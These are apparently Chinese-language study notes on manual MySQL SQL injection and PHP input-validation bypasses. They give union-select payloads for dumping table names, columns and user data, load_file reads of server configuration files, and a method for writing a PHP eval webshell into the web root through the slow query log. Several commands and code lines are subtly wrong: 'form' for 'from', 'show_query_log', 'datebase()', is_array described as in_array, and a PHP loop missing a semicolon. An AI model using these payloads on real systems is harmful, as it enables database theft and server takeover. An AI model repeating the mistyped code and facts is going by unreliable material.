一、sql注入的简介
将一段内容传入到目标网站,这段内容会被当做程序来执行
二、MySQL扩展补充
mysql的结构
- 库
- 表名
- 字段
- 数据
mysql的用户
- 管理员:跨库、文件读写操作
- 普通用户:猜解
判断目标网站的用户类别
- 白盒:读代码
- 黑盒:user()
使用mysql 5.0以上版本
mysql5.0以及5.0以上的版本都存在一个系统自带的系统数据库,叫做:information_schema 5.0以上为多用户。information_schema下面又包含了这几张表:schemata、tables、columns。
表1:schemata:记录了系统中所有的库名,包含一个关键字段
- schema_name:保存的库名
sql
select schema_name from information_schema.schemata
**表1:**tables:记录了系统中所有的表名,包含两个关键字段
- table_schema:保存的库名
- table_name:保存的表名
sql
select table_name from information_schema.tables where table_schema=xxxx
**表二:**columns:记录当前系统中的字段名,包含三个关键字段
-
table_schema:保存的库名
-
table_name:保存的表名
-
column_name:字段名
select column_name from information_schema.columns where table_schema=xxx and table_name=xxx
SQL注入的常用函数
- user() 当前所使用的用户名
- datebase() 当前所使用的库名
- version 当前MySQL的版本
三、SQL注入的流程
3.1 简介
常用的注入方法:
- 手工注入
- sqlmap
- python+sqlmap
3.2 sql注入的流程
1. 判断是否存在漏洞
思路:向网站传入一个代码,检查是否为被执行,能执行就说明存在漏洞
and 1=1
and 1=2
or 1=2
or 1=1
4-3
2. 判断目标网站的数据库中的表中有几个字段
order by 数字
3. 找到网页中回显位
链接查询:在一个sql语句中,从两个表查数据
联合查询:依次先后执行两个sql语句 - union
4. 找到数据库的库名
database()
5. 找到数据库的表名
id=1 union select 11,table_name form information_schema.tables where table_schema='db001' limit 5,1
6. 找到字段名
id=1 union select 11,column_name form information_schema.columns where table_name='users' limit 3,1
7. 找数据
id=1 union select user form users limit 2,1
四、管理员身份注入
文件读写
跨库
文件读写
sql
load_file("目标文件") //可以读取文件内容"
select "内容" into outfile "目标文件" //可以向网站目录下的文件里写内容
读取文件结果可能是NULL的可能原因
当前用户的权限问题,需要具有file权限
文件路径错误
sqlWindows: 注意C:\\a.txt linux: /etc/d.txt
文件大小超过上限
sqlmax_allowed_packet
查看环境变量
sql
show global variables // 全局
show session variables // 会话
设置环境变量
sql
set global 变量名=值
set session 变量名=值
文件读写权限控制
sql
secure_file_priv=null 不允许进行读写操作
secure_file_priv=路径 只允许在特定的目录下进行读写操作
secure_file_priv=' ' 允许随意进行读写操作
真实环境中secure_file_priv 往往都是处于开启状态的,绕过的基本思路就是结合慢查询日志
启动慢查询日志
sqlset global show_query_log=on;
设置查询日志的保存路径【需要将其设置为网站根目录】
sqlset global slow_query_log_file='d:\\web1\a.php';
触发慢查询
sqlselect "<?php eval($_GET['p']);?>" or sleep(10);
此时就可以去访问a.php了
获取网站根目录的途径
触发网站报错提醒
利用phpinfo(),参数是document_root
3.利用load_file(),读取网站的配置文件中的document_root
sqllinux配置文件的路径相对固定: apache 的配置文件: /etc/httpd/conf/httpd.conf nginx 的配置文件: /etc/nginx/nginx.conf 也可能在其他位置 apache 的配置文件: /usr/local/httpd/conf/httpd.conf nginx 的配置文件: /usr/local/nginx/conf/nginx.conf 使用apache部署的网站根目录: /var/www/html 使用nginx部署大的网站根目录: /usr/share/html mysql的配置文件: /etc/my.cnf nginx 定义网站根目录的关键字:root apache 定义网站根目录的关键字:DocumentRoot
五、php的相关函数
5.1 php的等号
= == ===
5.2 md5绕过
可以传入两个md5加密后是0e开头的字符串,需要注意的是,这个以0e开头的字符串只能是纯数字,这样PHP在进行科学算法的时候才会将它转化为0;可以查找以0e开头的md5加密相等的字符串,也可以自己编写代码,提供以下脚本。
常见的字符串有:byGcY、QNKCDZO、240610708、314282422
php
<?php
for ($a=1;$a<=100000000;$a++){
$md5=md5($a)
if(preg_match('/^0e\d+$/',$md5)){
// \d+ 表示一个或多个数字字符
echo $a;
echo "\n";
echo $md5;
echo "\n";
}
}
?>
5.3 intval
作用:进行数据类型转换成整数
返回结果:
- 0:转换失败或者转换的对象是一个空数组
- 1:对象是一个非空数组
- 整数:成功
转换的目的:绕过输入限制,例如系统禁止输入6,那么就可以将6转换成二进制,八进制,十六进制
绕过的基本思路
当某个数字被过滤的时候,就可以将其转换为其他的进制格式的数字,例如过滤了10,可以将其转换为八进制
如果是弱比较,例如(3==b),系统禁止输入3
可以写入3.1【小数】
可以写3abc【字符串转数字绕过】
可以写1+2 【运算绕过】
可以写~~3 【连续两次取反】
数组绕过
直接向网站传入数组元素,同时结合intval进行转换
案例:
php
var_dump(intval(012));
echo"<br>";
var_dump(intval(0xB));
echo"<br>";
var_dump(intval(array()));
echo"<br>";
var_dump(intval(array('1111',22222)));
echo"<br>";
var_dump(intval(1.2));
echo"<br>";
var_dump(intval("1.2"));
echo"<br>";
var_dump(intval("abc123"));
echo"<br>";
var_dump(intval("123abc"));
echo"<br>";
var_dump(intval("012"));
echo"<br>";
var_dump(intval(3+4));
var_dump(intval(3*4));
var_dump(intval(03+4));
var_dump(intval(03*4));
echo"<br>";
各种进制的开头
php
十进制:
二进制:0b 0B
八进制:0 0O 0o
十六进制:0x 0X
二进制binary
八进制octal
十进制decimal
十六进制hexadecimal
5.4 strpos
在指定的字符串中,定位特定的字符程序的位置
位置从0开始
返回结果:
- 目标字符的索引值
- Flash
5.5 is_array()
作用:在数组中搜索指定的值
安全隐患/绕过思路
检查是否有第三个参数,true
5.6 perg_match
返回值
0、1 匹配次数
false发生错误
绕过思路
%0a、大小写、数组
3.7 str_replace
返回结果是替换了目标内容后的结果字符串
绕过思路
大小写绕过
写绕过